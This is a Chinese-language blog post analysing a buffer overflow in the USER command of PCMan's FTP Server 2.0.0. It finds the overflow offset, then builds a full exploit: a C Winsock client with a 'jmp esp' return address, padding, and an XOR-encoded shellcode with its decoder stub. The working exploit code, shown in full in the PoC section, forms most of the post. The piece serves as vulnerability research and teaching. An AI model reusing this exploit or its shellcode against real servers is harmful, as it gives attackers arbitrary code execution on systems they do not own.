PCManFTPv2.0漏洞分析及利用
来源:互联网 发布:意大利尚尼 知乎 编辑:程序博客网 时间:2024/05/22 09:45
1.软件简介
PCMan’sFTPServer2.0.0是一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2.漏洞成因
PCMan’sFTPServer2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
通过在recv函数上下断点持续跟踪,发现服务端在接收到登录请求之后,会将收到的信息进行字符串拼接,而在字符串拼接的地方,并未进行长度控制.因此导致缓冲区溢出.
内存窗口:
之前的返回地址为:0x0012ED68 . 字符串的首地址为:0x0012E568.
前面拼接的字符串(时间)和命令,(选中的部分)大小为16*2+14 = 46;
那么0x0012ED68 - 0x0012E568 - 46 = 2002.
2002就是用户名字符串溢出点的偏移.
3.利用过程
1.首先我们需要先自己先构造一个FTP客户端与服务端进行通信.这个客户端非常简单,我们只需要符合RTFC959文档的规范就可以与服务端正常通信.
使用Mona2生成一段5000字节长度的字符串,将其发送至服务端,发现服务端程序崩溃,程序发生了缓冲区溢出.
int_tmain(intargc,_TCHAR*argv[]){ WSADATAwsaData; WSAStartup(0x0202,&wsaData); //创建套接字 SOCKETsockSer=WSASocketA(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //连接客户端 sockaddr_insockAddr; sockAddr.sin_family=AF_INET; sockAddr.sin_addr.S_un.S_addr=inet_addr("192.168.120.134");//服务端IP sockAddr.sin_port=htons(21);//端口 connect(sockSer,(sockaddr*)&sockAddr,sizeof(sockAddr)); //接受欢迎语 chartmpBuff[1024]={0}; recv(sockSer,tmpBuff,1024,0); //发送登录请求 send(sockSer,pCode,strlen(pCode),0);//pCode是要发送的字符串格式:userXXXX //接受反馈信息 recv(sockSer,tmpBuff,1024,0); //关闭套接字句柄释放资源 closesocket(sockSer); WSACleanup(); return0;}
2.使用Mona2确定溢出点在字符串中的偏移安置,精确确定溢出点.
3.使用Mona2在服务端程序空间找到一个跳板指令”jmp esp”,””在FTP客户端中构造自己的Exploit字符串.
代码片段:
charszCommand[]="user";//userxxxxcharszFill[2002]={0};//填充字符charszJmp[4]={0xe7,0x50,0x57,0x77};//跳板指令地址charszShellCode[]={....}; //自己的ShellCodecharpCode[3000]={0};memset(szFill,0x30,2002);sprintf_s(pCode,"%s%s%s%s",szCommand,szFill,szJmp,szShellCode);//构造Exploit代码
4.重新测试一下.在windbg中发现程序没有按照预想的运行起来.
因此我们要调整一下我们的exploit代码.
sprintf_s(pCode,"%s%s%s%s%s",szCommand,szFill,szJmp,"0000",szShellCode);//构造Exploit代码
5.再次运行起来,发现程序执行了我们的代码.
4.PoC
#include "stdafx.h"#include <WinSock2.h>#pragma comment(lib,"Ws2_32.lib")char szCommand[] = "user "; //user xxxxchar szFill[2002] = { 0 }; //填充字符char szJmp[4] = { 0xe7, 0x50, 0x57, 0x77 }; //跳板指令地址char szShellCode[] = \"\x33\xC0" //xor eax,eax"\xE8\xFF\xFF\xFF\xFF" //call 地址 -1 ;为了避免使用0x00"\xC3" //ret"\x58" //pop eax"\x8D\x70\x1B" //lea esi,dword ptr ds:[eax+1B] "\x33\xC9" //xor ecx,ecx"\x66\xB9\x3A\x01" //mov cx,13A ;cx = 0x13A 需要解密的ShellCode代码的大小 "\x8A\x04\x0E" //mov al,byte ptr ds:[esi+ecx] ;al = 解密前字符"\x34\x07" //xor al,7 "\x88\x04\x0E" //mov byte ptr ds:[esi+ecx],al"\xE2\xF6" //loop 解密shellcode[汇编].12F1019"\x80\x34\x0E\x07" //xor byte ptr ds:[esi+ecx],7 ;将最后一个字节解密"\xFF\xE6" //jmp esi ;跳转到代码执行"\x67\x84\xC3\x27\xEC\x52\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63""\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E""\x42\x7F\x46\x07\x72\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A""\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73""\x57\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\xD6\xE9""\xB4\xA3\xC1\xBA\x07\xBE\xA0\xC8\xB5\x26\x07\xEF\x07\x07\x07\x07""\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C\x31""\x8C\x51\x0F\x54\x55\xEF\x13\x07\x07\x07\x8C\xF7\x8A\x4C\xB2\x55""\x56\x55\xF8\xD7\x5D\x54\x57\x51\x55\xEF\x6C\x07\x07\x07\x52\x8C""\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x8A\x33\x35\x8C\x71""\x7F\x8A\x33\x11\x8C\x79\x1B\x8A\x3B\x10\x8E\x7A\xFB\x8C\x79\x27""\x8A\x3B\x10\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B\x10\x8E\x7A\xF3\x34""\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8A\x33\x11\x8C\x7A\x0B""\x8A\x78\xA1\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE1\x8C\x72\xF3""\x34\xD5\x61\x8C\x13\x41\x8C\x72\xFB\x8C\x3B\x91\x8C\x52\x0F\x8A""\x03\x3D\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x67""\x34\xD5\x8C\x42\x17\x55\x55\x8C\x5A\x13\x8A\x74\xC3\x51\xF8\xD7""\x8A\x4C\xD7\x56\x57\xF8\x52\x0B\x34\xD5\x55\x8A\x74\xF2\x51\x8A""\x74\xEF\x51\x55\xF8\xD7\x8A\x74\xDB\x51\xF8\x72\x0F\xF8\x52\x0B""\xF8\xD7\x66\x8C\xE2\x5A\xC5\x17\x07\x07";int _tmain(int argc, _TCHAR* argv[]){ char pCode[3000] = { 0 }; memset(szFill, 0x30, 2002); sprintf_s(pCode, "%s%s%s%s%s", szCommand, szFill, szJmp,"0000", szShellCode); //构造Exploit代码 WSADATA wsaData; WSAStartup(0x0202, &wsaData); //创建套接字 SOCKET sockSer = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //连接客户端 sockaddr_in sockAddr; sockAddr.sin_family = AF_INET; sockAddr.sin_addr.S_un.S_addr = inet_addr("192.168.120.134"); //服务端IP sockAddr.sin_port = htons(21); //端口 connect(sockSer, (sockaddr*)&sockAddr, sizeof(sockAddr)); //接受欢迎语 char tmpBuff[1024] = { 0 }; recv(sockSer, tmpBuff, 1024, 0); //发送登录请求 send(sockSer, pCode, strlen(pCode), 0); //接受反馈信息 recv(sockSer, tmpBuff, 1024, 0); //关闭套接字句柄 释放资源 closesocket(sockSer); WSACleanup(); return 0;}
5.结语
- 造成缓冲区溢出的主要原因是在对字符数组进行操作时候,并未检测它的长度,从而导致错误的发生.
- 在进行漏洞挖掘的时候,要注意发生溢出的函数是否有参数.编写exploit代码的时候,要将这些参数考虑在内.
阅读全文
0 0
- PCManFTPv2.0漏洞分析及利用
- FakeID签名漏洞分析及利用
- udp_sendmsg漏洞(三)--漏洞利用的源码及分析
- MiniWeb0.8.19的最新漏洞分析及利用方法!
- 易想团购系统通杀SQL注入漏洞分析及利用
- FakeID签名漏洞分析及利用(Google Bug 13678484)
- UAF (Use After Free)漏洞分析及利用
- Easy File Sharing Web Server 7.2 漏洞分析及利用
- VX Search Client 9.7.18 漏洞分析及利用
- word漏洞分析与利用
- SSRF漏洞分析与利用
- xss漏洞发现及利用
- xss漏洞发现及利用
- xss漏洞发现及利用
- 【漏洞分析】EternalBlue工具漏洞利用细节分析
- Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路
- Boxoft WAV to MP3 Converter 1.1 漏洞分析及利用[SEH]
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
- TemplateRef
- TensorFlow 常用类与方法
- 文章标题
- opencv3学习之带滑动条的三种滤波器的应用
- MATLAB模糊逻辑工具箱函数
- PCManFTPv2.0漏洞分析及利用
- 初学机器学习的方法及框架了解
- 小白学分布式程序开发12-PAXOS算法例子
- 一线程序猿的早上思考
- 解决vmware虚拟机克隆网络配置问题
- 博弈均衡算法
- es curator安装使用记录
- Java poi 自定义RGB颜色
- RA